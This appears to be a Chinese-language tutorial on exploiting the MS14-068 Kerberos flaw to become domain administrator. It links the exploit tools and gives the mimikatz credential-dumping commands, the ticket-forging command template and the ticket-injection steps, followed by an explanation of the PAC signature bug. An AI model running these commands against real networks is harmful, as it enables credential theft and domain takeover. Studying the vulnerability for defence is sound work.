MS14-068(CVE-2014-6324)域控提权利用及原理解析

漏洞利用

0x01 漏洞利用前提

1.域控没有打MS14-068的补丁(KB3011780)

2.拿下一台加入域的计算机

3.有这台域内计算机的域用户密码和Sid

0x02 工具下载

Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

PSexec 下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases

0x03 漏洞利用

如果当前用户为域用户

可以直接用 whoami /user 获取sid

如果不是只是本地用户可以用mimikatz 抓取本地的域用户密码

记住mimikatz要有管理员权限不然无法抓取内存密码，可以以管理员权限运行。

输入privilege::debug 权限提升，在输入log 会在当前文件夹下生成后面命令执行的结果方便我们查找数据，最后输入sekurlsa::logonPasswords 抓取密码

会在当前目录生成mimikatz 日志文件

成功获取到明文密码，也获取了域用户sid 和域控主机名

利用ms14-068.exe 工具生成伪造的kerberos协议认证证书

MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>

ms-14-068.exe -u   域用户@域控名  -p 域用户密码 -s 域用户sid -d 域ip

利用mimikatz.exe将证书写入，从而提升为域管理员

kerberos::ptc 你的证书名字

写入成功后，使用PsExec.exe以管理员权限运行连接域控

原理解析

0x04 Kerberos流程

域内主机请求处理流程

0x05 PAC原理

Server收到Client发来的TGS后，要根据TGS中Client申明所在的域组，和Server上的ACL进行对，然后决定给予Client什么样的资源访问权限。微软使用PAC来表示TGS中Client申明的域组。PAC（Privilege Attribute Certificate），特权属性证书。

PAC包含Client的User的SID、Group的SID。PAC决定了Client的组属性，即决定了Client的权限PAC为了保证自身的合法性，还包含2个签名，Key为krbtgt的NTLM，签名的内容除了User SID、Group SID外，还有其他部分PAC作为TGT的一部分，是加密的，密钥为krbtgt的NTLM作Client向KDC的AS模块发起认证请求，AS返回TGT时，会根据Client所在的组，生成PAC，包含Client的User SID、Group SID，以及用于确保PAC不被篡改的2个签名

将PAC作为TGT的一部分，发送给Client,Client使用TGT向KDC的TGS模块发起访问Server服务时，KDC的TGS模块首先解密TGT，并通过校验2个签名，以验证PAC的合法性。如果通过验证，KDC的TGS模块用2个新的签名替代老的签名来保证PAC不被篡改。第一个签名的密钥为Server的NTLM，第二个密钥为Server与Client的临时会话密钥

重新签名后的PAC被放置在签发的访问票据TGS中，使用Server的NTLM作为密钥被加密保护Server收到来自Client的TGS后，解密TGS验证合法性，校验PAC中的2个签名，确认PAC的合法性，然后确认Client的访问权限

0x06 漏洞成因

Client在发起认证请求时，通过设置include-PAC为False,则返回TGT中不会包含PAC

KDC对PAC进行验证时，对于PAC尾部的签名算法，虽然原理上规定必须是带有Key的签名算法才可以，但微软在实现上，却允许任意签名算法，只要客户端指定任意签名算法，KDC服务器就会使用指定的算法进行签名验证。因此伪造的任意内容都可以是合法的，直接加上内容的MD5值作为签名即可（第一个原因）

 PAC没有被放在TGT中，放在其它地方。KDC在仍然能够正确解析出没有放在TGT中的PAC信息PAC必须是密文，经过Key加密的KDC会从Authenticator中取出来subkey，把PAC信息解密并利用客户端设定的签名算法验证签名（第二个原因）

KDC验证缺少PAC的TGT成功后，再验证不在TGT中 的PAC的合法性。如果2个均验证成功，KDC把PAC中的User SID、Group SID取出来，重新使用进行签名，签名算法和密钥与设置inclue-pac标志位为TRUE时一模一样。将将新产生的PAC加入到解密后的TGT中，再重新加密制作全新的TGT发送给Client，不是TGS（第三个原因）

0x07 参考

原理理解部分来自------安全牛

http://www.freebuf.com/vuls/56081.html

https://www.secpulse.com/archives/32859.html